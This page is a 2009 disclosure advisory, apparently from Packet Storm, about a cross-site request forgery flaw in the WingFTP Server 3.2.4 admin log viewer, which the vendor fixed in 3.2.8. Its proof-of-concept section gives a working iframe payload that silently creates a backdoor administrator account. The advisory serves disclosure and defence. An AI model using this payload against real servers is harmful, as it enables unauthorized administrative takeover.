exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

WingFTP 3.2.4 Cross Site Request Forgery

WingFTP 3.2.4 Cross Site Request Forgery
Posted Dec 31, 2009
Authored by Ams

WingFTP version 3.2.4 suffers from a cross site request forgery vulnerability.

tags | exploit, csrf
SHA-256 | b59dc9a226776116ef463203bc6f45c9546d3061b923e74c7c8abc66701ec2a8

WingFTP 3.2.4 Cross Site Request Forgery

Change Mirror Download
Application: WingFTP Server 3.2.4 (maybe earlier versions too)
Link: http://www.wftpserver.com/
Vulnerability: CSRF
Author: Ams
Contact:
mail: ax330d [at] gmail [dot] com
site: http://www.0x416d73.name/

1. About software

"Wing FTP server is not only a FTP server. It's a multi-protocol file server(FTP,
HTTP, FTPS, HTTPS, SFTP) for Windows, Linux, Mac, freeBSD and Solaris. It
includes a new set of advanced tools (web based remote control, web based
client, administrator console, task scheduler). It provides event manager for the
program to respond to different events, scripts support let users extend the server
by Lua language, virtual directories for easy sharing files and directories, and more ... "

2. Vulnerability details

Wing FTP server web based administration panel provides option to view logs.
We can watch logs by opening
[Domains -> your.domain -> Logs & Status -> Domain Log (or Activity)]
These logs are opened directly from file to ajax'ed tag <div>. So, everything
that we send to ftp-server appears on the screen of browser. Without any
filtering. That's why we are capable of exploiting this bug.

3. Proof of concept

Actually, via this CRSF we can do all things administrator can do from his
control panel. The following exploit creates new administrator.

To show the work of exploit you have to do the following:
1. Connect to remote ftp server
2. Send this string:
<iframe src='http://127.0.0.1:5466/admin_addadmin.html?admin={"username":"Ams","password":"pwnpwnpwn","oldpassword":"","readonly":0,"ipmasks":[]}' width='0' height='0' border='0'></iframe>
3. When administrator logins and opens log new administrator is created
4. Login as admin 'Ams' and password 'pwnpwnpwn' (if you have not changed them)

4. Vendor response

Wing FTP Server team has fixed bugs and released new version - Wing FTP Server 3.2.8.

5. Disclosure timeline

25/12/2009 - Vendor informed
26/12/2009 - Received response
30/12/2010 - Bug fixed by vendor
31/12/2010 - Public release of advisory

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close